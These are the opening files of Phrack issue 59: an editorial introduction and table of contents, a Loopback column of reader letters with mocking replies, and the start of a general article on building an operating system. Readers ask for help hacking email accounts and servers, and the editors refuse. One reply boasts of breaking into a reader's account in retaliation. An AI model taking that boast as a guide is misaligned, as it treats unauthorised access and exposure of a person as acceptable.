C:\>type FILE_ID.DIZ ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x01 of 0x12 [-]==========================================================================[-] , ,,, :#' `, ,, ,, ## : ,#' ,#' __ $#,,#' ,#' '#,:#$#. ,, ,,, ,#' ,' /_/l ,#' #$'`#, :# '# .# #; .#' ` #$#;` : : : ,#' #: '# $# #' '# ##. #: '# ; ; ; '' ,#' ', ,:' "#,,$#,.'#:.,' ,#' ', _/_/_/_/ _/_/_/_/ : : : _/ _/ _/ L ; ; __.-._.-+. _/_/_/_/ _/_/_/_/ /."^.:.L.' .^-. \`. _/_/ _/ :`.`. \"/\ /.-. `. \ \ _/_/ _/ ;\ \ ` ;-.y(_.-\ \ `.`. _/_/_/_/ _/_/_/ : _. ;; ` \ \. `-\ \ T :: :=, ,=^\ \"-._; __..------.._ /;:-'; ; `._L.--^. .-""-.`. \ ""--.. : :_.': : ;/ \ / \ \ ; ""--._ ; T \ \ s /:.---. ;_/ `-._; ; : ______ \"-. ___ : :\ \ `.-=^" .:-" _\ \_. : : _:.--".-" .T"---:-.""--""\ ""-. ; \\ "-.\__.:' /-'. ; ; _. ; ; / -' ' .- \ ; "- : ;\ `..' .' \: ; / / .' ) ; __ / ; `, \ .-" ;/"---" /.' / `- /""" ""---""""-- : .-" `. .'.-\ / ""----""""^-.._ .-" bug \_.' "._.-"-..-'`-..-' ""--..__..--"" [-]==========================================================================[-] What happend since p58? Summercon took place (kudos to louis)! We put some pics online at http://www.phrack.org/summercon2002 for those who missed it. DMCA knocked down some websites, forced google to censor parts of their contents and continues to deny, forbid and restrict access to certain information. Free and unmodified information becomes rare and one day we might wake up and dont even know what kind of information we missed. Shame and pity on everyone living in chains in the "free" countries where the DMCA law applies. (-> PWN). We have changed our release policy (http://www.phrack.org/release). For the last 15 years PHRACK has been released to anyone simultaneously. These days PHRACK is also read by individuals, companies and agencies who do not value the magazine and the authors (under DMCA, PHRACK might even be forbidden). Research is free, the magazine is free, but now the phrack approval and review process provides it free to the contributing authors 2 weeks earlier. PHRACK 59 will be released in 3 steps: 2002-07-13: Limited release to contributing authors and volunteer reviewers. 2002-07-19: PHRACK 59 Release Candidate 1 is privately release to a larger audience for initial feed-back and review. (Not expected to stay private for long...). http://www.phrack.org/gogetit/phrack59.tar.gz. 2002-07-28: Public release on http://www.phrack.org main page for everyone who missed the release on the 19th. There might be some confusion about where to get PHRACK and how to get in contact with the Phrack Staff: We do _not_ chill on #phrack/efnet. That channel has been left alone for nearly 3 years. Those who know us, know where to find us. All others should contact us by email (PGP key is attached). None of us would every confirm or show off his involvement in PHRACK - only snobs do - watch out and dont trust strangers. There is only one official distribution side: [#][#][#] http://www.phrack.org [#][#][#] We got contacted by the very old ones: readers, authors and Editors in Chief's from 10 and more years ago. Thanks so far to everyone for the valueable discussions on knights@lists.phrack.org. This is a call to anyone who wants to meet some friends 'from the old days', or who wants to organize future events and meetings together: Send an email to phrackstaff@phrack.org and we will put you on. This issue comes with a goodie - check out phrack_tshirt_logo.png. We got in contact with a printer and are happy to announce that the PHRACK TSHIRTS will be ready for the public PHRACK 59 release. for you, your computer, your family and your dog at DEFCON X and later on at http://www.jinxhackwares.com/phrack. |=[ Table of Contents ]=-------------------------------------------------=| | 0x01 Introduction Phrack Staff 0x0b kb | | 0x02 Loopback Phrack Staff 0x0f kb | | 0x03 Linenoise Phrack Staff 0x6b kb | | 0x04 Handling the Interrupt Descriptor Table kad 0x55 kb | | 0x05 Advances in kernel hacking II palmers 0x15 kb | | 0x06 Defeating Forensic Analysis on Unix the grugq 0x65 kb | | 0x07 Advances in format string exploiting gera & riq 0x1f kb | | 0x08 Runtime process infection anonymous author 0x2f kb | | 0x09 Bypassing PaX ASLR protection anonymous author 0x26 kb | | 0x0a Execution path analysis: finding kernel rk's J.K.Rutkowski 0x2a kb | | 0x0b Cuts like a knife, SSHarp stealth 0x0c kb | | 0x0c Building ptrace injecting shellcodes anonymous author 0x17 kb | | 0x0d Linux/390 shellcode development johnny cyberpunk 0x14 kb | | 0x0e Writing linux kernel keylogger rd 0x29 kb | | 0x0f Cryptographic random number generators DrMungkee 0x2d kb | | 0x10 Playing with windows /dev/(k)mem crazylord 0x42 kb | | 0x11 Phrack World News Phrack Staff 0x18 kb | | 0x12 Phrack magazine extraction utility Phrack Staff 0x15 kb | |=------------------------------------------------------------=[ 0x2EE kb | Shoutz: solar designer : respect, strength & honor! FozZy, brotha : 1OO% kewl logo (see phrack_tshirt.png) sh1ft33 & j0hn : phrack ghostwriterz The latest, and all previous, phrack issues are available online at http://www.phrack.org. Readers without web access can subscribe to the phrack-distrib mailinglist. Every new phrack is sent as email attachment to this list. Every new phrack issue (without the attachment) is announced on the announcement mailinglist. To subscribe to the announcement mailinglist: $ mail announcement-subscribe@lists.phrack.org < /dev/null To subscribe to the distribution mailinglist: $ mail distrib-subscribe@lists.phrack.org < /dev/null To retrieve older issues (must subscribe first): $ mail distrib-index@lists.phrack.org < /dev/null $ mail distrib-get.@lists.phrack.org < /dev/null where n indicated the phrack issue [1..58]. Enjoy the magazine! Phrack Magazine Vol 10 Number 59, Build 2, July 28, 2002. ISSN 1068-1035 Contents Copyright (c) 2001 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without the prior written permission from the editors. Phrack Magazine is made available to the public, as often as possible, free of charge. |=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=| Editors : phrackstaff@phrack.org Submissions : phrackstaff@phrack.org Commentary : loopback@phrack.org Phrack World News : pwn@phrack.org We have some agressive /dev/null-style mail filter running. We do reply to every serious email. If you did not get a reply, then your mail was probably not worth an answer or was caught by our mailfilter. Make sure your mail has a non-implicit destination, one recipient, a non-empty subject field, and does not contain any html code and is 100% 7bit clean pure ascii. |=-----------------------------------------------------------------------=| Submissions may be encrypted with the following PGP key: -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org mQGiBD03YTYRBADYg6kOTnjEfrMANEGmoTLqxRZdfxGpvaU5MHPq+XHvuFAWHBm2 xB/9ZcRt4XIXw0OTL441ixL6fvGPNxjrRmAUtXSWrElGJ5lTj7VdJmdt/DbehzGb NXekehG/r6KLHX0PqNzcr84sY6/GrZUiNZftYA/eUWDB7EjEmkBIMs3bnwCg3KRb 96G68Zc+T4ebUrV5/dkYwFUEAMgSGJpdy8yBWaFUsGOsGkrZZfdf6tRA+GGOnqjS Lh094L8iuTfbxr7zO4E5+uToantAl56fHhnEy7hKJxuQdW1C0GKktUDhGltUxrob zsNdN6cBprUT7//QgdOlm3nE2E5myozhhMxLMjjFl1mNo1YrNUEU4tYWm/Zvg9OF Te8TBADS4oafB6pT9BhGOWhoED1bQRkk/KdHuBMrgwK8vb/e36p6KMj8xBVJNglY JtIn6Iv14z8PtO62SEzlcgdsieoVncztQgLIrvCN+vKjv8jEGFtTmIhx6f/VC7pX oLX2419rePYaXCPVhw3xDN2CVahUD9jTkFE2eOSFiWJ7DqUsIrQkcGhyYWNrc3Rh ZmYgPHBocmFja3N0YWZmQHBocmFjay5vcmc+iFcEExECABcFAj03YTYFCwcKAwQD FQMCAxYCAQIXgAAKCRB73vey7F3HClWRAJ4qxMAMESfFb2Bbi+rAb0JS4LnSYwCZ AWI6ndU+sWEs/rdD78yydjPKW9q5Ag0EPTdhThAIAJNlf1QKtz715HIWA6G1CfKb ukVyWVLnP91C1HRspi5haRdyqXbOUulck7A8XrZRtDUmvMGMO8ZguEjioXdyvYdC 36LUW8QXQM9BzJd76uUl/neBwNaWCHyiUqEijzkKO8yoYrLHkjref48yBF7nbgOl i1y3QOyDGUT/sEdjE5lzHqVtDxKH9B8crVkr/O2GEyr/zRu1Z2L5TjZNcQO988Hy CyBdDVsCBwUkdrm/oyqnSiypcGzumD4pYzmquUw1EYJOVEO+WeLAOrfhd15oBZMp QlQ/MOfc0rvS27YhKKFAHhSchSFLEppy/La6wzU+CW4iIcDMny5xw1wNv3vGrScA AwUH/jAo4KbOYm6Brdvq5zLcEvhDTKf6WcTLaTbdx4GEa8Sj4B5a2A/ulycZT6Wu D480xT8me0H4LKl2j7lzhJwzG9HRp846gKrPgj7GVcAaTtsXgwJu6Q7fH74PCrOt GEyvJw+hRiQCTHUC22FUAx6SHZ5KzwMs3W8QnNUbRBfbd1hPMaEJpUeBm/jeXSm4 2JLOd9QjJu3fUIOzGj+G6MWvi7b49h/g0fH3M/LF5mPJfo7exaElXwk1ohyPjeb8 s11m348C4JqmFKijAyuQ9vfS8cdcsYUoCrWQw/ZWUIYSoKJd0poVWaHQwuAWuSFS 4C8wUicFDUkG6+f5b7wNjfW3hf2IRgQYEQIABgUCPTdhTgAKCRB73vey7F3HCq5e AJ4+jaPMQEbsmMfa94kJeAODE0XgXgCfbvismsWSu354IBL37BtyVg9cxAo= =9kWD -----END PGP PUBLIC KEY BLOCK----- phrack:~# head -22 /usr/include/std-disclaimer.h /* * All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue. * * * Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. * * * Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors. * These opinions do not necessarily represent those of the Phrack Staff. */ |=[ EOF ]=---------------------------------------------------------------=| phrack.org:~# cat /dev/random ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x02 of 0x12 |=----------------------=[ L O O P B A C K ]=----------------------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ phrackstaff ]=------------------------------=| ----| QUOTE of the month is it legal? dont know, im doing it from bonds box ----| EXPLOIT of the month apache-scalp & OpenBSD memcpy() madness^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H openssh remote. ----| TOPIC of the month (regarding OpenSSH) -:- Topic (#somewhere): changed by someone: "8 hours and 53 minutes without a remote hole in the default install!" ----| LAMERZ of the month http://www.idefense.com/Intell/CI022702.html [ or: how to convert public whois db files into .xls and finding people who buy this bullshit. ] http://hackingtruths.box.sk/certi.htm [ They try to make money out of everything: "Become a certificated hacker today". ] |=[ 0x00 ]=--------------------------------------------------------------=| From: "Kenneth J. Bungert,,," Subject: harassment I have a question ? [ I don't know... do you? ] Is there any way I can find out who is calling if it is from a computer... I think that is where the annoying calls are being made? [ If you are in a country that does not have consumer Caller ID, or provider ANI, then just follow the cord attached to the end your telephone until you find the person at the other end. Ask them nicely if they called you. ] Rob Kenneth J. Bungert,,, |=[ 0x01 ]=--------------------------------------------------------------=| http://www.atstake.com/company_info/management.html#mudge [ Look what they did to mudge/Peiter Zatko. They cut his hair, tied a tie around his neck and covered his body with a suite. They wrote that he was the CEO (CEO?, #1?) of [the company named] "L0pht Heavy Industries". My comment: 'They made a clown out of a well respected smart guy/hacker who should be better descriped as 'a key figure in americans famous underground hacking group known as L0pft Heavy Industries'. I hope the tie will not become too tight mudge :/ ] |=[ 0x02 ]=--------------------------------------------------------------=| From: mac119@hotmail.com Hello i need some help. [ Come to us, we enlight and answer all your worries! ] if someone can hack down 172.26.100.10:8080 and take down the proxy server, would make me very happy. [ ..would pretty much impress me. Most of your questions can be answered by reading RFC1918. ] NB! if someone do that, they will get a little reward from me, $120. tanks again Ice |=[ 0x03 ]=--------------------------------------------------------------=| Dear Hacker i am 29 y/o male and very intrested in hacking my girlfriends Emails in "Yahoo" and "Hotmail" . please instruct me if it has an straighforward solution or anything help me in this regard. i have tried some softwares about this but they didnt work properly and no result achieved. please Email ur hints to ab_c28@yahoo.com thank you for your prompt attention. regards. Bob Z. NEVER SEND SPAM. IT IS BAD. [ Dear Lamer After hacking your Yahoo! account we acquired your girlfriend's email address and proceeded to inform her about your curiosity. After speaking with her about this incident she agreed that we should expose you for the perverse idiot that you are. Get a life. ] |=[ 0x04 ]=--------------------------------------------------------------=| From: "brad" Hey guys..I am a beginner and i am trying to find all the information that i can on how to learn everything that you guys know...i am not asking for you to tell me how to hack into hotmail or yahoo mail like some of the other people here but i just want any kind of information that you can give me on how to learn anything and everything about what you guys do, [ Do you know what it is that we know? We don't know what we know, we just know that we know it. An obvious self-promotional answer would be to read Phrack... ] With much respect, Ryan |=[ 0x05 ]=--------------------------------------------------------------=| From: Jason De Grandis Subject: [phrackstaff] Hacking / Cracking I am new to the world of hacking and cracking, and I want to get some info on the above. [ Welcome to our world, Jason. ] What I want to do is, obtain credit card numbers, get email passwords and get into NASA and the FBI, if I am lucky. The sort of stuff the movie "Hackers" illustrated. I don't know if this can be done, if it can, can someone email me the information or point me into the right direction on were to start. [ Sounds like some pretty serious stuff you want to get into. I recommend watching Hackers a few more times and then getting yourself some Gibsons. Remember -- the most commonly used passwords are "love", "sex", "secret" and "god" -- BUT NOT NECESSARILY IN THAT ORDER YOU FUCKING LAMER! ] Where do I go and what do I need. I have started learning LINUX, as I have been told it is something to know and learn. What else do I need??? [ A system, a clue, some Phrack issuez for you Learn Unix and learn it good, learn it like a ninja would If you do not have a clue yet, some 0day you must get Hack the planet in a night, backdoor that shit up tight Sell each root for a buck... OH MY GOD YOU FUCKING SUCK!@#!#!$ ] J. [ S. ] |=[ 0x06 ]=--------------------------------------------------------------=| Hey again Phrack [ Hello ] I have now read quite a few of your magazines. BUT there is a pretty nasty failure in number 56... Either the index file is misplaced or the articles are. They don't match, that's for sure! [ It is all fine. It is indexed in hex (the index file is quite clear if you bother to read it -- p56-0x01) ] If you have gotten the time for it could you then please fix it. And I would be happy if you would send me a copy of the correct one when finished.. [ No. It's not broken, chump. ] Thank you. /Dark Origin ~If you think nobody cares, try missing a couple of payments.~ [ Trust me. Nobody cares. ] |=[ 0x07 ]=--------------------------------------------------------------=| From: syiron the sex man To: Subject: i would like to surf telnetd daemon services hello the best crew in the world [ Thank you. ] i had search remote buffer to gain access root in telnetd port daemon but i fail to do it [ I feel your pain. ] can you make me one of the remote to attack solaris sparc ... attack from linux or solaris [ Nope! ] thanks need code [ Need life. ] syiron |=[ 0x08 ]=--------------------------------------------------------------=| Hi! Can you to speak to me the learn for to speak the Unix? [ I wish Unix I knew to speak it to you good hehe! ] |=[ 0x09 ]=--------------------------------------------------------------=| From: "I. O. Jayawardena" Subject: [phrackstaff] Best wishes Greetings guys (and gals?), [ Greetings, I. O. ] First things first: Phrack is a really good e-zine, and loopback is just great, but you knew this already ;) [ Of course! ] I'm an aspiring hacker and all-round geek. Girls are scarce over here; knowledge even more so. I developed the hacker state of mind when I was exposed to the Net, while I was studying like a demon for a competition which landed me my Celeron (with some peripherals). While surfing two days ago, I stumbled onto phrack.org and an old flame was rekindled; So here I am... Really guys, Phrack is a good thing. Keep up the good work. The home page is very nice too... Maybe even chicks will dig it ;) [ The webmaster has been hoping they would since day 1. ] I'm a pretty good C and C++ programmer, and the only difficulty I have is money. NO credit cards to pay for books I can buy only online. I'd be very grateful if anyone over there could give me the location of a _free_ machine-readable copy of "The C Programming Language" by K&R. I doubt if even the universities over here have it (off the record, some professors here don't know that printf(...) actually returns something, but claim to have written Linux kernel modules :| ). [ If you're a pretty good C programmer, why do you need that particular book? Are you lying to us? Try a library. ] Anyway, thanks, and I can say with absolute, nay, non-relative certainty that the number of Phrack readers has increased by one non-atomically. [ Geek! ] alvin PS: if the only "alvin" you can recall is alvin of the chipmunks, read up a bit on the works of Sir Arthur C. Clarke. [ No thanks, I'll take your word for it, chipmunk. ] |=[ 0x0a ]=--------------------------------------------------------------=| From: "RAZ" HI I WONDER IF U CAN HELP ME [ HI, MAYBE IF YOU STOP SHOUTING! ] MY NAME IS RAZ AND I LIVE IN LONDON, I HAVE A CONNECTION LINE WITH BT FOR OUR PHONE. [ That's very nice, Baz. But you're still shouting! ] RECENTLY WE REC.D OUR BILL WHICH WERE PHONES MADE WHICH WE HAVE NOT MADE, LONG MOBILE PHONES AND INTERNATIONAL, AND WE EVEN THINK WE KNOW WHO DID BUT HOW?? IS IT POSSIBLE TO DO PHONE HACKING OR TAPPING ? [ Of course. Don't you read Phrack? ] IF SO HOW.. BT SAID THERE IS NOT WAY AND WE HAVE TO PAY THE BILL WHICH WE WILL BUT INSIDED OUR HEARTS WE KNOW WE DID NOT DO THEM.. CAN U HELP [ I think you're beyond help. ] |=[ 0x0b ]=--------------------------------------------------------------=| From: "Marcel Feuertein" Subject: [phrackstaff] You have a slight problem on your site. Hello, to whom it may concern; When I went to your 'download' link it opened in 'edit' mode.. showing me the total >> Index of /archives>> without the HTML. [ Really? That's disgraceful! ] Found your site while searching Yahoo on how to play a video file I downloaded with an .AVI extension with a comment " EG-VCD" after the name of file, which causes my Windows Media Player to play only the sound .. without the video. [ Interesting. ] Thus I was looking for a player/codec to solve this problem. [ Good luck. ] Any suggestions are appreciated. [ I'm all out of ideas. ] Your site has been added to my favorites. I truly enjoy your content. Congratulations. [ Thanks. ] Take care Marcel |=[ 0x0c ]=--------------------------------------------------------------=| From: richard fraser Subject: [phrackstaff] problem what do i run the programmme under ,you know like what programme do i run it in [ I've been asking myself that question all my life. ] richard |=[ 0x0b ]=--------------------------------------------------------------=| From: bobby@bobby.com Subject: [phrackstaff] phrakz Hi, My nickname is Bobby - Happy Bobby, im 14 years hacker, & im so happy becouse of pCHRAK (or sumthin) 58 issue, finally i had found information how to break into pentagon server, but i have one littl3 pr0blem, i dunno how to log into this server i had tried telnet pentagon.org but my Windows said "Cannot found telnet.exe file", could you tell me what am i doing wrong? PS.My dick is now 32cm long!, one year ago it was only 5cm, how about yours? s0ry 4 my b4d inglish (i ate all sesame-cakes :), ps0x01.gr33tz to all hacker babes (if they really exists i bet they would like to hack into my pants & meet Big Bobby :) ps0x02.i tak mierdzicie ledziem :) ps0x03.pana guampo kanas e ribbon hehe psx.cya Happy Bobby [ ... ] |=[ 0x0c ]=--------------------------------------------------------------=| From: "DANIEL REYNOLDS" hey yall, I havent done many articles but i think i am up to the challenge. Do you know a subject that I could write on that the ppl that read phrack would enjoy? thankz, ~][cyflame [ Try it with "The insecurity of my ISP, MSN.COM" ] |=[ 0x0d ]=--------------------------------------------------------------=| From: piracy To: phrackedit@phrack.com Subject: [phrackstaff] How are you [ ?! thnx, and you guys? ] |=[ 0x0e ]=--------------------------------------------------------------=| I got this message from you: > To: luigi@cs.berkeley.edu > From: phrackstaff-admin@phrack.org > Subject: Your message to phrackstaff awaits moderator approval > > Posting to a restricted list by sender requires approval > Either the message will get posted to the list, or you will receive > notification of the moderator's decision. [ hmm, yes indeed, interesting. Hmm. What might this be Dr.Watson? The moderator's decision is to investigate this posting a little bit further. ] However, I never sent a message to phrackstaff before this one. So there seems to be a problem. I would kindly request that you do NOT post the message, since I don't know what it contains and don't want it to be attributed to me. Thank you very much Luigi Semenzato |=[ 0x0f ]=--------------------------------------------------------------=| From: gobbles@hushmail.com Subject: ALERT! BLUE BOAR IS IN #PHRACK! ALERT! The Blue Boar is currently chatting in #phrack! ALERT! ALERT! ALERT! [ Noone of us is in control of this channel. We chill where no phrack staff has chilled before... ] |=[ 0x10 ]=--------------------------------------------------------------=| From: "Brian Herdman" Hey. [ y0! ] im looking for a copy of the jolly rodger cook book i used to have it but my hard drive fried and i thought it was gone forever..... [ Man, I've been looking for that one for the last 15 years on www.phrack.org but i guess one of the previous editors just rm'ed it. jolly rodger cook book, yummm yumm, that's what's missing on our page....] |=[ 0x11 ]=--------------------------------------------------------------=| From: son gohan Subject: [phrackstaff] phreak boxes Hi can i get some info on the tron box? [ PHRACK != GOOGLE ] |=[ 0x12 ]=--------------------------------------------------------------=| From: "Bruce's Email" Subject: [phrackstaff] Passwords Date: Wed, 10 Apr 2002 13:45:44 -0500 How do I figure out someone's password and user name if I have their e-mail address? [ The easiest way is just to ask him: echo "ALL UR PASSW0RDZ R BEL0NG TO US!" | mail target@hotmail.com ] |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x03 of 0x12 |=---------------------=[ L I N E N O I S E ]=---------------------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ phrackstaff ]=------------------------------=| --[ Contents 1 - PHRACK Linenoise Introduction 1.1 PHRACK Oops 1.2 PHRACK Fakes 2 - PHRACK OS Construction 3 - PHRACK ninja lockpicking 4 - PHRACK sportz: fingerboarding --[ 1 - PHRACK Linenoise Introduction I think you know what linenoise is about. We had the same cut & paste Linenoise Introduction in the last 10 issues :) ----[ 1.1 - PHRACK Oops Oops, For the last 17 years we forgot the .txt extension to the articles. Some reader complained about a little mistake in p59-0x01: phrack:~# head -20 /usr/include/std-disclaimer.h 22 lines of the header are actually printed :P The message of the disclaimer remains: 1) No guarantee on anything. 2) Nobody is responsible. 3) Dont blame us if your kids turn into hackerz. ----[ 1.2 - PHRACK Fakes http://www.cafepress.com/cp/store/store.aspx?storeid=phrack That's not us. Check out our homepage at http://www.phrack.org for some tshirts. |=[ 0x02 ]=-------=[ Methodology For OS Construction ]=------------------=| |=-----------------------------------------------------------------------=| |=--------------=[ Bill Blunden ]=---------------=| --[ Contents 0 - Introduction 1 - The Critical Path 1.1 Choose a Host Platform 1.2 Build a Simulator 1.3 Build a Cross-Compiler 1.4 Build and Port The OS 1.5 Bootstrap the Cross-Compiler 2 - OS Components 2.1 Task Model 2.2 Memory Management 2.3 I/O interface 2.4 File System 2.5 Notes On Security 3 - Simple Case Study 3.1 Host Platform 3.3 Compiler Issues 3.4 Booting Up 3.5 Initializing The OS 3.6 Building and Deploying 4 - References and Credits --[ 0 - Introduction Of the countless number of books on operating system design, there are perhaps only three or four, that I know of, which actually discuss how to build a fully-functional operating system. Even these books focus so narrowly on specific hardware that the essential steps become buried under a pile of agonizing minutiae. This is not necessarily a bad thing, rather it is an unintended consequence. Operating systems are incredibly complicated pieces of software, and dissecting one will yield countless details. Nevertheless, my motivation for submitting this article is to provide a generic series of steps which can be used to build an OS, from scratch, without bias towards a particular hardware vendor. "Geese Uncle Don, how do you build an OS ..." My own understanding of OS construction was rather sketchy until I had the privilege of meeting some old fogeys from Control Data. These were people who had worked on the CDC 6600 with Seymour Cray. The methodology which I am passing on to you was used to build Control Data's SCOPE76 operating system. Although some of the engineers that I spoke with are now in their 70s, I can assure you that the approach they described to me is still very useful and relevant. During the many hours that I pestered these CDC veterans for details, I heard more than a few interesting war stories. For example, when Control Data came out with the 6600, it was much faster than anything IBM was selling. The execs at Big Blue were so peeved at being upstaged by Cray that they created a paper tiger and told everyone to wait a few months. Unfortunately, it worked. Everyone waited for IBM to deliver ( IBM never did, those bastards ) and this forced CDC to drop the price of the 6600 in half in order to attract customers. If you are familiar with IBM's business practices, this type of behavior comes as no surprise. Did you know that IBM sold Hollerith tabulators to the Nazis during WWII? This article is broken into three parts. Part 1 presents a general approach that may be used to build an operating system. I am intentionally going to be ambiguous. I want the approach to be useful regardless of which hardware platform you are targeting. For the sake of focusing on the process itself, I delay the finer details of construction until Part 2. In Part 2, I present a rough map that can be used to determine the order in which the components of the OS should be implemented. For the sake of illuminating a few of the issues that a system engineer will face during OS implementation, I have included a brief discussion of an extended example in part 3. My goal in part 3 is to illustrate some of the points that I make in part 1. I have no intention of offering a production quality OS, there are already a number of excellent examples available. Interested readers can pick up any of the references provided at the end of this article. --[ 1 - The Critical Path In the stock market, you typically need money in order to make money. Building an OS is the same way: you need an OS in order to build one. Let's call the initial OS, and the hardware that it runs on, the 'host' platform. I will refer to the OS to be constructed, and the hardware that it will run on, as the 'target' platform. --[ 1.1 - Choose a Host Platform I remember asking a Marine Corp Recon guy once what he thought was the most effective small sidearm. His answer: "whichever one you are the most familiar with." The same holds true for choosing a host platform. The best host platform to use is the one which you are the most familiar with. You are going to have to perform some fancy software acrobatics and you will need to be intimately familiar with both your host OS and its development tools. In some more pathological cases, it may even help to be familiar with the machine instruction encoding of your hardware. This will allow you to double check what your development tools are spitting out. You may also discover that there are bugs in your initial set of tools, and be forced to switch vendors. This is a good reason for picking a host platform which is popular enough that their are several tool vendors to choose from. For example, during some system work, on Windows, I discovered a bug in Microsoft's assembler (MASM). As it happened, MASM would refuse to assemble a source file which exceeded a certain number of lines. Fortunately, I was able to buy Borland's nifty Turbo Assembler (TASM) and forge onward. --[ 1.2 - Build a Simulator Once you've picked a host platform and decided on an appropriate set of development tools, you will need to build a simulator that replicates the behavior of the target platform's hardware. This can be a lot more work than it sounds. Not only will you have to reproduce the bare hardware, but you will also have to mimic the BIOS which is burned into the machine's ROM. There are also peripheral devices and micro controllers that you will need to replicate. Note: The best way to see if you have implemented a simulator correctly is to create an image file of a live partition and see if the simulator will run the system loaded on it. For example, if you built an x86 simulator, then you could test out an image file of a Linux boot partition. The primary benefit of the simulator is that it will save you from having to work in the dark. There is nothing worse than having your machine crash and not being able to determine why. Watching your Intel box triple fault can be extremely frustrating, primarily because it is almost impossible to diagnose the problem once it has occurred. This is particularly true during the boot phase, where you haven't built enough infrastructure to stream messages to the console. A simulator allows you to see what is happening in a safe, and controlled, environment. If your code crashes the simulator, you can insert diagnostic procedures to help perform forensic work. You can also run the simulator from within the context of a debugger so that you can single-step through tricky areas. The alternative is to run your OS code on raw metal, which will basically preclude your ability to record the machine's state when it crashes. The diagnostic and forensic techniques which you used with the simulator will be replaced by purely speculative tactics. This is no fun, trust me. For an excellent example of a simulator, you should take a look at the bochs x86 simulator. It is available at: http://sourceforge.net/projects/bochs Once thing that I should mention is that it is best to use bochs in conjunction with Linux. This is because bochs works with disk images and the Linux 'dd' command is a readily available and easy way to produce a disk image. For example, the following command takes a floppy disk and produces an image file named floppy.img. dd if=/dev/fd0 of=floppy.img bs=1k Windows does not ship with an equivalent tool. Big surprise. "Back in my day ..." In the old days, creating a simulator was often a necessity because sometimes the target hardware had not yet gone into production. In those days, a smoke test was truly a smoke test ... they turned on the machines and looked for smoke! --[ 1.3 - Build a Cross-Compiler Once you have a simulator built, you should build a cross-compiler. Specifically, you will need to construct a compiler which runs on the host platform, but generates a binary which is run by the target platform. Initially you will use the simulator to run everything that the cross- compiler generates. When you feel confident enough with your environment, you can start running code directly on the target platform. "Speaking words of wisdom, write in C..." Given that C is the de facto language for doing system work, I would highly recommend getting the source code for compiler like gcc and modifying the backend. The gcc compiler even comes with documentation dedicated to this task, which is why I recommend gcc. There are other public C compilers, like small-C, that obey a subset of the ANSI spec and may be easier to port. gcc: http://gcc.gnu.org small-C: http://www.ddjembedded.com/languages/smallc If you want to be different, I suppose you could find a Pascal or Fortran compiler to muck around with. It wouldn't be the first time that someone took the less traveled route. During the early years, the Control Data engineers invented their own variation of Pascal to construct the NOSVE (aka NOSEBLEED) OS. NOSVE was one of those Tower of Babel projects that never made it to production. At Control Data, you weren't considered a real manager until you had at least one big failure under your belt. I bet NOS/VE pushed the manager up to VP status! --[ 1.4 - Build and Port The OS OK, you've done all the prep work. It's time to code the OS proper. The finer details of this process are discussed in Part 2. Once you have a prototype OS built than runs well on the simulator you will be faced with the -BIG- hurdle ... running your code on the actual target hardware. I found that this is a hurdle which you should jump early on. Do a test run on the target platform as soon as you have the minimal number of working components. Discovering that your code will not boot after 50,000 lines of effort can be demoralizing. If you were disciplined about designing and testing your simulator, most of your problems will probably be with the OS code itself and perhaps undocumented features in peripheral hardware controllers. This is where investing the time in building a bullet-proof simulator truly pays off. Knowing that the simulator does its job will allow you to more accurately diagnose problems ... and also save you plenty of sleep. Finally, I would recommend using a boot disk so that you don't put the hard drive(s) of your target machine at risk. Even the Linux kernel can be made to fit on a single floppy, so for the time being try not to worry about binary size constraints. --[ 1.5 - Bootstrap the Cross-Compiler Congratulations. You have gone where only a select few have gone before. You've built an operating system. However, wouldn't it be nice to have a set of development tools that can be run by your new OS? This can be achieved by bootstrapping the existing cross-compiler. Here's how bootstrapping works: You take the source code for your cross- compiler and feed it to the cross-compiler on the host platform. The cross-compiler digests this source code and produce a new binary that can be executed by the target OS. You now have a compiler that runs on the target OS and which creates executables that also run on the target OS. Naturally, I am making a few assumptions. Specifically, I am assuming that the libraries which the cross-compiler uses are also available on the target OS. Compilers spend a lot of time performing string manipulation and file I/O. If these supporting routines are not present and supported on the target platform, then the newly built compiler is of little utility. --[ 2 - OS Components An OS is a strange sort of program in that it must launch and manage itself in addition to launching and managing other programs. Hence, the first thing that an operating system needs to do is bootstrap itself and then set up its various components so that it can do its job. I would recommend getting your hands on the vendor documentation for your hardware. If you are targeting Intel, then you are in luck because I explain the x86 boot process in Part 3 of this article. In terms of overall architecture, I would recommend a modular, object- oriented, design. This doesn't mean that you have to use C++. Rather, I am encouraging you to delineate the various portions of the OS into related sets of data and code. Whether or not you use a compiler to enforce this separation is up to you. This approach has its advantages in that it allows you to create sharply delineated boundaries between components. This is good because it allows you to hide/modify each subsystem's implementation. Tanenbaum takes this idea to an extreme by making core components, like the file system and memory manager, pluggable at runtime. With other operating systems, you would have to re-compile the kernel to swap core subsystems like the memory manager. With Minix, these components can be switched at runtime. Linux has tried to implement something similar via loadable kernel modules. As a final aside, you will want to learn the assembly language for the target platform's hardware. There are some OS features that are tied directly to hardware and cannot be provided without executing a few dozen lines of hardware-specific assembler. The Intel instruction set is probably one of the most complicated. This is primarily due to historical forces that drove Intel to constantly strive for backwards compatibility. The binary encoding of Intel instructions is particularly perplexing. Which OS component should you tackle first? In what order should the components be implemented? I would recommend that you implement the different areas of functionality in the manner described by the following four sections. --[ 2.1 - Task Model In his book on OS design, Richard Burgess states that you should try to start with the task control code, and I would tend to agree with him. The task model you choose will impact everything else that you do. First, and foremost, an operating system manages tasks. What is a task? The 